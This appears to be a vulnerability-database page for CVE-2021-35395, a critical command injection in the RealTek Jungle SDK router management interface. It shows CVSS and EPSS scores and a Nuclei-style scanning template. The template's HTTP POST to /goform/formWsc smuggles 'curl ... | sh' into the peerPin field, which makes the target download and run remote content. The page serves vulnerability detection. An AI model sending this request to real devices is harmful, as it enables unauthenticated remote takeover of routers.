9.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
9.1 High
AI Score
Confidence
High
10 High
CVSS2
Access Vector
NETWORK
Access Complexity
LOW
Authentication
NONE
Confidentiality Impact
COMPLETE
Integrity Impact
COMPLETE
Availability Impact
COMPLETE
AV:N/AC:L/Au:N/C:C/I:C/A:C
0.968 High
EPSS
Percentile
99.7%
There is a command injection vulnerability on the "formWsc" page of the management interface. Successful exploitation of this vulnerability could lead to remote code execution and compromise of the affected system.
id: CVE-2021-35395
info:
name: RealTek Jungle SDK - Arbitrary Command Injection
author: king-alexander
severity: critical
description: |
There is a command injection vulnerability on the "formWsc" page of the management interface. Successful exploitation of this vulnerability could lead to remote code execution and compromise of the affected system.
remediation: Apply the latest security patches or updates provided by RealTek to fix the vulnerability.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2021-35395
- https://blogs.juniper.net/en-us/threat-research/attacks-continue-against-realtek-vulnerabilities
- https://www.realtek.com/en/cu-1-en/cu-1-taiwan-en
- https://www.realtek.com/images/safe-report/Realtek_APRouter_SDK_Advisory-CVE-2021-35392_35395.pdf
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2021-35395
epss-score: 0.97119
epss-percentile: 0.99744
cpe: cpe:2.3:a:realtek:realtek_jungle_sdk:*:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: realtek
product: realtek_jungle_sdk
tags: cve2021,cve,realtek,rce,kev
http:
- raw:
- |
POST /goform/formWsc HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
submit-url=%2Fwlwps.asp&resetUnCfg=0&peerPin=12345678;curl http://{{interactsh-url}} | sh;&setPIN=Start+PIN&configVxd=off&resetRptUnCfg=0&peerRptPin=
matchers-condition: and
matchers:
- type: word
part: interactsh_protocol
words:
- "http"
- type: word
part: interactsh_request
words:
- "User-Agent: curl"
# digest: 4a0a0047304502200f282350954f899ddbf62874c49a1c8297dfe332dae61b46c09d5fce43904bf4022100861f33e914b3543cccbec18fe3c283f7a6a028d5f52c9691c9f397c000c41ddd:922c64590222798bb761d5b6d8e72950
9.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
9.1 High
AI Score
Confidence
High
10 High
CVSS2
Access Vector
NETWORK
Access Complexity
LOW
Authentication
NONE
Confidentiality Impact
COMPLETE
Integrity Impact
COMPLETE
Availability Impact
COMPLETE
AV:N/AC:L/Au:N/C:C/I:C/A:C
0.968 High
EPSS
Percentile
99.7%